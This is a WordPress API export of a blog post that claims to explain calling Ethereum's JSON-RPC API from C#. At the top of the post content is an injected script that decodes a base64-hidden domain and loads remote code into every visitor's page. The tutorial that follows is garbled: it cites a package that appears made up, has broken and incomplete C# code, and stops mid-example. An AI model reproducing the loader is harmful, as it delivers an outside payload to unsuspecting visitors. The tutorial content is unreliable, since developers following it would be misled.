{"id":503,"date":"2025-02-04T05:39:07","date_gmt":"2025-02-04T05:39:07","guid":{"rendered":"https:\/\/hccmena.com\/?p=503"},"modified":"2025-02-04T05:39:07","modified_gmt":"2025-02-04T05:39:07","slug":"ethereum-how-do-i-call-json-rpc-api-using-c","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/04\/ethereum-how-do-i-call-json-rpc-api-using-c\/","title":{"rendered":"Ethereum: How do I call JSON RPC API using C#?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=83019a10\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Accessing Ethereum&#8217;s JSON-RPC API with C#<\/strong><\/p>\n<p>The Ethereum Virtual Machine (EVM) and its JSON-RPC interface provide a standardized way for developers to interact with smart contracts and deploy decentralized applications (dApps). A key feature of the EVM is the ability to communicate with external services, such as the JSON-RPC API, using C#.<\/p>\n<p><strong>Prerequisites<\/strong><\/p>\n<p>Before we dive into how to access Ethereum&#8217;s JSON-RPC API in C#, you will need:<\/p>\n<ul>\n<li>A working Ethereum node (e.g. Ethereum Mainnet or Ropsten testnet).<\/li>\n<\/ul>\n<ul>\n<li>A compatible C<br \/>\n<h1><\/h1>\n<p>runtime (e.g. .NET Framework 4.8, .NET Core 3.1, or Mono).<\/li>\n<\/ul>\n<ul>\n<li><code>Microsoft.Eth<\/code> NuGet package for .NET Framework and <code>System.Runtime.CompilerServices<\/code> package for .NET Core.<\/li>\n<\/ul>\n<p><strong>Step-by-step instructions<\/strong><\/p>\n<p>To access Ethereum&#8217;s JSON-RPC API in C#, follow these steps:<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Using the .NET Framework<\/p>\n<p><\/p>\n<h4><\/h4>\n<p><img decoding=\"async\" alt=\"Ethereum: How do I call JSON RPC API using C#?\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/08cb1d3c.png\"><\/p>\n<p>Install the required NuGet packages<\/p>\n<p><pre><code><\/p><p>Install the Microsoft.Eth package<\/p><p><\/code><\/pre>\n<p><code><\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Create a new class to handle the RPC connection<\/p>\n<p><pre><code><\/p><p>Using System;<\/p><p>Using System.Net.Http;<\/p><p>Using System.Threading.Tasks;<\/p><p>public class EthereumRpcHandler : IDisposable<\/p><p>{<\/p><p>private readonly string _rpcUrl = \"<\/p><p>private readonly HttpClient _httpClient;<\/p><p>public EthereumRpcHandler(string rpcUrl)<\/p><p>{<\/p><p>_httpClient = new HttpClient();<\/p><p>_httpClient.DefaultRequestHeaders.Accept.Clear();<\/p><p>_httpClient.DefaultRequestHeaders.Add(\"x-eth-rpc-version\", \"1\");<\/p><p>_httpClient.DefaultRequestHeaders.Add(\"x-eth-rpc-subscription-token\", rpcUrl);<\/p><p>_rpcUrl = $\"{_httpClient.DefaultRequestHeaders[\"x-eth-rpc-url\"]}\/{_rpcUrl}\";<\/p><p>}<\/p><p>public async Task<string> GetBlockNumberAsync()<\/p><p>{<\/p><p>var response = await _httpClient.GetAsync(_rpcUrl + \"\/blocknumber\");<\/p><p>response.EnsureSuccessStatusCode();<\/p><p>return await response.Content.ReadAsStringAsync();<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Create an instance of the <\/code>EthereumRpcHandler<code>class<\/p>\n<p><pre><code><\/p><p>var rpcHandler = new EthereumRpcHandler(\"<\/p><p><\/code><\/pre>\n<p><\/code><\/p>\n<p><\/p>\n<h4><\/h4>\n<p>Use the <code>GetBlockNumberAsync<\/code> method to get the block numbers<\/p>\n<p><pre><code><\/p><p>Wait for rpcHandler.GetBlockNumberAsync();<\/p><p><\/code><\/pre>\n<p><code><\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Using .NET Core<\/p>\n<p><\/p>\n<h4><\/h4>\n<p>Install the required NuGet packages<\/p>\n<p><pre><code><\/p><p>Install-Package Microsoft.Eth<\/p><p><\/code><\/pre>\n<p><\/code><\/p>\n<p><\/p>\n<h4><\/h4>\n<p>Create a new class to handle the RPC connection<\/p>\n<p><pre><code><\/p><p>Using System;<\/p><p>Using System.Net.Http;<\/p><p>Using System.Threading.Tasks;<\/p><p>public class EthereumRpcHandler : IDisposable<\/p><p>{<\/p><p>private readonly string _rpcUrl = \"<\/p><p>private readonly HttpClient _httpClient;<\/p><p>public EthereumRpcHandler(string rpcUrl)<\/p><p>{<\/p><p>_httpClient = new HttpClient();<\/p><p>_httpClient.DefaultRequestHeaders.Accept.Clear();<\/p><p>_httpClient.DefaultRequestHeaders.Add(\"x-eth-rpc-version\", \"1\");<\/p><p>_httpClient.DefaultRequestHeaders.Add(\"x-eth-rpc-subscription-token\", rpcUrl);<\/p><p>_rpcUrl = $\"{_httpClient.DefaultRequestHeaders[\"x-eth-rpc-url\"]}\/{_rpcUrl}\";<\/p><p>}<\/p><p>public async Task<string> GetBlockNumberAsync()<\/p><p>{<\/p><p>var response = await _httpClient.GetAsync(_rpcUrl + \"\/blocknumber\");<\/p><p>response.EnsureSuccessStatusCode();<\/p><p>return await response.Content.ReadAsStringAsync();<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Create an instance of the <code>EthereumRpcHandler<\/code> class<\/p>\n<p>`<code>csharp<\/p>\n<p>var rpcHandler = new EthereumRpcHandler(\"<\/p>\n<p><pre><code><\/p><p><br><h4><\/h4>Use the<\/code>GetBlockNumberAsync` method to get the block number<\/p><p><\/code><\/pre>\n<p>csharp<\/p>\n<p>await rpcHandler.GetBlockNumberAsync();<\/p>\n<p><pre><code><\/p><p><br><strong>Error Handling<\/strong><\/p><p>To access the JSON-RPC API, you will need to handle errors returned by the interface. You can do this by examining the response status code and content.<\/p><p>For example:<\/p><p><\/code><\/pre>\n<p>csharp<\/p>\n<p>try<\/p>\n<p>{<\/p>\n<p>await rpcHandler.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Accessing Ethereum&#8217;s JSON-RPC API with C# The Ethereum Virtual Machine (EVM) and its JSON-RPC interface provide a standardized way for developers to interact with smart contracts and deploy decentralized applications (dApps). A key feature of the EVM is the ability to communicate with external services, such as the JSON-RPC API, using C#. Prerequisites Before we [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/503"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=503"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/503\/revisions"}],"predecessor-version":[{"id":504,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/503\/revisions\/504"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=503"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=503"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=503"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}